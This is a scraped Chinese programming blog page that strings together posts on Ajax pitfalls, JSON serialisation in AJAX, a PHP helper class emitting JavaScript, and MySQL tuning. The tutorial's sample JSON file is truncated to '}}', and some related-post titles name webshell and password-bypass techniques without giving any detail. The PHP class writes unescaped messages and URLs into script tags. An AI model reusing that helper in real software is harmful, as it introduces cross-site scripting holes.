• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)
• 2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)
• 2010年05月23日 -- PHP中的Memcache函数库（Memcache Functions） (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)
• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)
• 2010年07月26日 -- ajax的缺点 (0)
• 2008年10月17日 -- 随机数有多随机？ (0)
• 2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)

1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。

2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？

3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。

4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。

5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的

6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接

7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。

8、 检查在你返回XMLHttpRequest时你的http请求状态代码（status code），那会有一些常见的网络错误像是不可获得的DNS，Http Server error 500 ，你曾经检查过状态代码（status code），它可以告诉你浏览器在一个为连接的模式

9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。

10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？

相关博文

• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- ajax的缺点 (0)
• 2010年07月26日 -- AJAX的各种控件和类库 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年07月26日 -- AJAX应用程序开发七宗罪 (0)
• 2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)
• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年05月23日 -- nginx的rewrite规则 (1)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- AJAX初学:IE缓存页面的问题 (0)
• 2010年07月26日 -- 了解Ajax中的Get和Post (0)

　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。

　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。

　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。

　　二、 开始

　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件：

＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞
＜script type=”text/javascript”＞
document.load = AjaxUpdater.Update(’GET’， URL， callback);
＜/script＞

　　首先，让我们来讨论JavaScript对象。

三、 JavaScript对象

　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。

　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。

　　首先，Auto对象被声明为一个新的对象：

　　var Auto = new Object();

　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码：

　　Auto.Car = new Object();
　　Auto.Car.color = “#fff”;
　　Auto.Car.setColor = function(_color)
　　{
　　Auto.Car.color = _color;
　　}
　　Auto.Car.setColor(“#333″);

　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。

　　下一个对象，Wheel，是Car的一个子对象：

Auto.Car.Wheel = new Object();
Auto.Car.Wheel.color = “#000″;

　　在此，Wheel是一个基本对象，但是它展示了对象层次中的又一个层。这个对象有一个称为color的缺省值为黑色(“#000”)的属性。

　　下面，让我们来分析一下为什么这些对象如此重要以及我们是如何使用它们提供的简单的属性的。

四、 把JavaScript对象串行化为JSON

　　借助于JSON分析器，我们可以很容易地把刚才创建的JavaScript对象串行化为JSON。首先，我们需要下载该分析器的一个副本，并且要把它添加到文档中。下面是我在本文示例中用于导入该脚本的相应的代码：

＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞

　　我已经把该分析器添加到我的javascript目录，即一个称为utils的子目录下。

　　下面是最终的包括到其中用于导入适当的JavaScript文件的代码片断：

以下是引用片段：
＜script type=”text/javascript” src=”javascript/Auto.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/Car.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/Wheel.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/model/Ajax.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞

　　在导入适当的文件后，我们可以通过把两个div元素和一个onload事件简单地添加到HTML文档中开始串行化。这两个div元素将分别拥有ID：body和loading。其中，这个loading标签将由AJAX引擎使用来指示进度情况，而body标签将用于显示消息。

＜div id=”loading”＞＜/div＞
＜div id=”body”＞＜/div＞

　　onload事件相应于body元素并且设置它的innerHTML属性为JavaScript对象(作为一个串行化的JSON字符串)。为了实现这一目的，我在Auto对象上使用了jsonparser.js文件内的toJSONString方法：

＜body onload=”document.getElementById(’body’).innerHTML = ’＜b＞Local objects serialized as JSON＜/b＞
Auto Object: ’+ Auto.toJSONString();”＞

　　这段代码使用了Auto对象及其所有的子对象，并且使用JSON分析器的toJSONString方法把它们串行化为一个JSON字符串。然后，该数据可以被用作服务器端的一种数据交换格式。

　　你可能还记得，在前面我们曾调用了一个称为setColor的方法来改变Car对象的颜色。当时，我使用它是因为我想向你展示串行化能够在运行时刻的任何点上实现，而且还为了反映出对象中最新的数据。

　　如果你仔细分析一下onload事件，你会注意到，Car和Wheel对象都包装在方括号内，这些方括号代表了父对象(即Auto)。这意味着，该串行化的JavaScript对象能够在运行时刻被发送到服务器端以存储最新的数据，并且也可以在应用程序启动时从服务器端进行接收以便从数据库中检索多数的当前数据。最精彩的部分在于，为了创建一种“无缝”的过程，所有与服务器之间实现的数据交换都可以使用JSON技术来实现。

　　下面，让我们来看一下相同的数据是如何从服务器端接收的，以及它们是如何被使用最新的数据(典型地，来源于一个数据库)串行化为客户端JavaScript对象的。

五、 把JSON反串行化为客户端JavaScript对象

　　在本文中，我简单地把一个静态文件创建为JSON响应，但是在实际开发中，你可以把这些数据存储在一个数据库中并且使用一种服务器端语言返回它。基于这一能力，我们就可以轻松地创建一种强有力的数据交换过程!在前面，我们已经分析了这一串行化过程。凭基本的AJAX体验，你应该能够理解数据是如何被寄送到服务器端的。现在，让我们着手讨论反串行化的问题。首先来看一个针对本文示例提供的静态JSON文件。这个文件其实是我们在上一节中串行化的数据：

}}

　　作为一个请求JSON文件的示例，当我们点击下列链接时将请求这个串行化的Auto对象：

＜a href=”javascript:AjaxUpdater.Update(’GET’， ’json/data.js’， displayResponse);”＞Get remote JSON＜/a＞

　　一旦接收到响应消息，我们的称为displayResponse回调方法就会被激活，然后，我们就能够反串行化并开始使用这些对象：

＜script type=”text/javascript”＞
function displayResponse()
{
　if(Ajax.checkReadyState(’loading’) == “OK”)
　{
　　var Auto = Ajax.request.responseText.parseJSON();
　　document.getElementById(“body”).innerHTML += ”
＜b＞Remote JSON unserialized＜/b＞”;
　　document.getElementById(“body”).innerHTML += ”
Car color: “+Auto.Car.color;
　　document.getElementById(“body”).innerHTML += ”
Wheel color: “+Auto.Car.Wheel.color;
　}
}
＜/script＞

　　这是相当激动人心的一部分!一旦我们拥有了该responseText，我们就能够简单地使用JSON分析器中的parseJSON方法来从串行化的数据中重建我们的Auto对象。借助于这个新的Auto对象，我们就可以调用相应的子对象。这个特征允许我们在服务器和客户端来回发送对象—而不必进行大量的分析工作，然而在以前标准的XML响应情况下我们将却必须这样做。这样以来，我们就可以创建出能够基于AJAX技术来保留自身状态的客户端JavaScript对象

相关博文

• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- AJAX的各种控件和类库 (0)
• 2010年07月26日 -- ajax的缺点 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)
• 2010年07月26日 -- AJAX应用程序开发七宗罪 (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年07月28日 -- Webshell下破解计算机管理员密码 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)

// 禁止直接访问该页面
if (basename($HTTP_SERVER_VARS['PHP_SELF']) == "js.class.php") {
     header("HTTP/1.0 404 Not Found");
}

# Purpose 封装了一些常用的Javascript代码，以便在PHP中快速调用

class JS{
     function JS(){}

     #返回上页
     # @param $step 返回的层数 默认为1
     function Back($step = -1){
         $msg = "history.go(".$step.");";
         JS::_Write($msg);
         JS::FreeResource();
         exit;
     }

    # 弹出警告的窗口
    # @param $msg 警告信息
     function Alert($msg){
         $msg = "alert(\"".$msg."\");";
         JS::_Write($msg);
     }

    # 写js
    # @param $msg
     function _Write($msg) {
         echo "<script language=\"javascript\">\n";
         echo $msg;
         echo "\n</SCRIPT>";
     }

     # 刷新当前页
     function Reload(){
         $msg = "location.reload();";
         JS::FreeResource();
         JS::_Write($msg);
         exit;
     }

     #刷新弹出父页
     function ReloadOpener(){
         $msg = "if (opener)     opener.location.reload();";
         JS::_Write($msg);
     }

     #跳转到url
     #@param $url 目标页
     function Goto($url){
         $msg = "location.href = ‘$url’;";
         JS::FreeResource();
         JS::_Write($msg);
         exit;
     }

     #关闭窗口
     function Close(){
         $msg = "window.close()";
         JS::FreeResource();
         JS::_Write($msg);
         exit;
     }

     #提交表单
     #@param $frm 表单名
     function Submit($frm){
         $msg = $frm.".submit();";
         JS::_Write($msg);
     }

    #关闭数据库连接
    function FreeResource(){
         // 数据库连接标志
         global $conn;
         if (is_resource($conn))
             @mysql_close($conn);
     }
}
?>

相关博文

• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年05月23日 -- eAccelerator与memcache的区别与用途 (2)
• 2010年05月23日 -- PHP中的Memcache函数库（Memcache Functions） (0)
• 2010年07月26日 -- AJAX的各种控件和类库 (0)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)
• 2010年05月23日 -- Rsync详解 (0)

# 避免MySQL的外部锁定，减少出错几率增强稳定性。
skip-locking

# 禁止MySQL对外部连接进行DNS解析
skip-name-resolve

# 指定MySQL可能的连接数量
back_log = 256

# 使用查询缓冲
query_cache_size = 32M
query_cache_type= 1

# 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好
key_buffer_size = 256M

# 允许的请求包大小
max_allowed_packet = 4M

# 缓存可重用的线程数
thread_cache = 256
thread_cache_size = 64

# 每个线程的栈大小
thread_stack = 256K

# 指定表高速缓存的大小 对于有1G内存的机器，推荐值是128－256
table_cache = 256K

# 查询排序时所能使用的缓冲区大小 每连接独占
sort_buffer_size = 6M

# 读查询操作所能使用的缓冲区大小 每连接独占
read_buffer_size = 4M

# 联合查询操作所能使用的缓冲区大小 每连接独占
join_buffer_size = 8M

#MyISAM表发生变化时重新排序所需的缓冲
myisam_sort_buffer_size = 64M

# 指定MySQL查询缓冲区的大小
query_cache_size = 64M

tmp_table_size = 256M

# 指定MySQL允许的最大连接进程数
max_connections = 768

max_connect_errors = 10000000

# 指定一个请求的最大连接时间
wait_timeout = 10

# 该参数取值为服务器逻辑CPU数量×2
thread_concurrency = 8

#记录慢查询,然后对慢查询一一优化
log-slow-queries = slow.log
long_query_time = 2
log-queries-not-using-indexes

#关闭不需要的表类型,如果你需要,就不要加上这个
skip-innodb
skip-bdb
#指定用于索引的缓冲区大小，增加它可得到更好的索引处理性能。     对于内存在4GB左右的服务器该参数可设置为256M或384M。     注意：该参数值设置的过大反而会是服务器整体效率降低！
key_buffer_size = 256M

MySQL server has gone away 的解决办法

有时候使用MySQL(和PHP搭配之最佳组合)命令行导入备份时会出现“MySQL(和PHP搭配之最佳组合) server has gone away”错误，这可能是因为其中一些insert语句的大小超出了MySQL(和PHP搭配之最佳组合)目前设置的缓冲区大小。

解决办法

1.使用php(做为现在的主流开发语言)myadmin 备份MySQL(和PHP搭配之最佳组合)的时候，只选择

数据:
     完整插入
     扩展插入

扩展插入不要勾选

2.使用 MySQL(和PHP搭配之最佳组合)dump 备份的时候不添加 –opt  

这样就只会生成完整的insert语句，导入时候不会出错。

3.修改my.ini

打开my.ini 找到[MySQL(和PHP搭配之最佳组合)d]这一行，下面添加

[MySQL(和PHP搭配之最佳组合)d]

#扩大缓冲区
max_allowed_packet=32M  
保存后，重启MySQL(和PHP搭配之最佳组合)

相关博文

• 2010年05月23日 -- Rsync详解 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年05月23日 -- PHP中的Memcache函数库（Memcache Functions） (0)
• 2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- ajax的缺点 (0)
• 2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)
• 2010年05月23日 -- eAccelerator与memcache的区别与用途 (2)
• 2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)
• 2008年10月17日 -- 随机数有多随机？ (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)

相关博文

• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2008年10月17日 -- 思维的惯性 (0)
• 2008年10月17日 -- 随机数有多随机？ (0)
• 2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年05月23日 -- eAccelerator与memcache的区别与用途 (2)
• 2008年10月17日 -- 数据服务器的设计 (0)
• 2008年10月17日 -- 以人为本，美术资源的归档 (0)
• 2008年10月17日 -- 多服务器的用户身份认证方案 (0)
• 2008年10月17日 -- MMO 的排队系统 (0)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)

相关博文

• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2008年10月17日 -- 多进程的游戏服务器设计 (0)
• 2010年07月28日 -- 完美解决“由于这台计算机没有终端服务器客户端访问许可证” (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- ajax的缺点 (0)
• 2008年10月17日 -- 服务器消息的广播 (0)
• 2008年10月17日 -- 思维的惯性 (0)
• 2008年10月17日 -- 游戏中的货币 (0)
• 2008年10月17日 -- 随机数有多随机？ (0)
• 2008年10月17日 -- MMO 的排队系统 (0)
• 2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月28日 -- 无需输入密码登陆3389 (0)

相关博文

• 2011年06月29日 -- 网上整理的android权限大全 (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月28日 -- 完美解决“由于这台计算机没有终端服务器客户端访问许可证” (0)
• 2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)
• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年05月23日 -- nginx的rewrite规则 (1)
• 2008年10月17日 -- 多进程的游戏服务器设计 (0)
• 2008年10月17日 -- 多服务器的用户身份认证方案 (0)